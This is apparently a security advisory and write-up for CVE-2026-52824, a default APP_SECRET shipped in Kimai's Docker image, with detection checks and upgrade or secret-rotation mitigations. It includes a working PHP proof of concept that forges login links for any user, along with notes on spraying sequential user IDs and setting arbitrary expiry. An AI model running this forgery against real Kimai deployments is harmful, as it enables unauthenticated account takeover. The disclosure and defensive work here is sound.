
Technical analysis and PoC of CVE-2026-52824: default APP_SECRET in the Kimai Docker image enabling unauthenticated login link forgery. Affects <= 2.57.0, fixed in 2.58.0.
| Field | Value |
|---|
| CVE | CVE-2026-52824 |
| Advisory | GHSA-jr9p-4h4j-6c58 |
| Severity | Critical |
| CWE | CWE-1188, Initialization of a Resource with an Insecure Default |
| Affected | kimai/kimai <= 2.57.0 |
| Fixed | 2.58.0 |
| Advisory published | 2026-06-11 |
| Added to GitHub Advisory Database | 2026-07-14 |
| Reporter | AzureADTrent |
The official Kimai Docker image shipped with a hardcoded APP_SECRET. That value becomes Symfony's kernel.secret, which signs login links, remember-me cookies, password reset URLs, and CSRF tokens. Because Kimai's login-link signature covered only the user's id, an unauthenticated attacker with the known secret could compute a valid login link offline and authenticate as any user.
Dockerfile:263 set:
ENV APP_SECRET=change_this_to_something_unique
config/packages/framework.yaml:7 consumes this as kernel.secret:
secret: '%env(APP_SECRET)%'
.docker/entrypoint.sh performed no check for the sentinel value, and .env.dist:38 shipped the same default for bare-metal installs. No startup guard refused to boot on the default.
Any Docker deployment that did not explicitly override APP_SECRET therefore ran with a publicly known signing key.
Kimai consumes the login link at /en/auth/link/check with user, expires, and hash parameters. The hash is the 44-character HMAC concatenated directly with the 44-character fields hash, matching acceptSignatureHash(), which splits at offset 44.
<?php
$secret = 'change_this_to_something_unique';
$username = 'admin';
$userId = 1;
$expires = time() + 360;
// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');
// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');
$hash = $signatureHash . $fieldsHash;
$url = "/en/auth/link/check?user=" . urlencode($username)
. "&expires=" . $expires
. "&hash=" . $hash;
echo "Forged login link:\n$url\n";
A successful request returns a 302 and sets a KIMAI_REMEMBER cookie for the target account.
expires is inside the HMAC and is attacker-controlled, and validation only rejects timestamps already in the past — verifySignatureHash() tests $expires < time() and nothing else. The configured lifetime: 900 governs link generation only and is never consulted during validation, so a forged link can carry an arbitrarily distant expiry.
max_uses: 3 is equally irrelevant. It limits reuse of a single issued link; an attacker mints a fresh one per attempt.
The advisory lists three preconditions: the username is known, the correct account ID is guessed, and the account has no active 2FA.
In practice these are weak. User IDs are sequential from 1, the first super_admin is normally ID 1, and each attempt is a single unauthenticated GET. The username and ID space can be sprayed. Two-factor authentication is the only precondition that meaningfully blocks the attack.
Local checks:
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret
A sentinel APP_SECRET with no .appsecret file present indicates a vulnerable deployment.
Upgrade to 2.58.0 or later. The fix:
APP_SECRET from the Dockerfilebin2hex(random_bytes(32)), stores it at /opt/kimai/var/data/.appsecret, and writes it to /opt/kimai/.env.localIf you cannot upgrade immediately, set a unique high-entropy secret explicitly:
docker run -e APP_SECRET=$(openssl rand -hex 32) ...
Rotating APP_SECRET invalidates existing remember-me cookies, pending password reset links, and in-flight CSRF tokens; users will need to log in again. Rotation and session invalidation are safe to perform regardless of whether exposure can be confirmed. Operators unable to determine their state should rotate rather than assume.
projectdiscovery/nuclei-templatesThis writeup was held until the mechanism was independently public.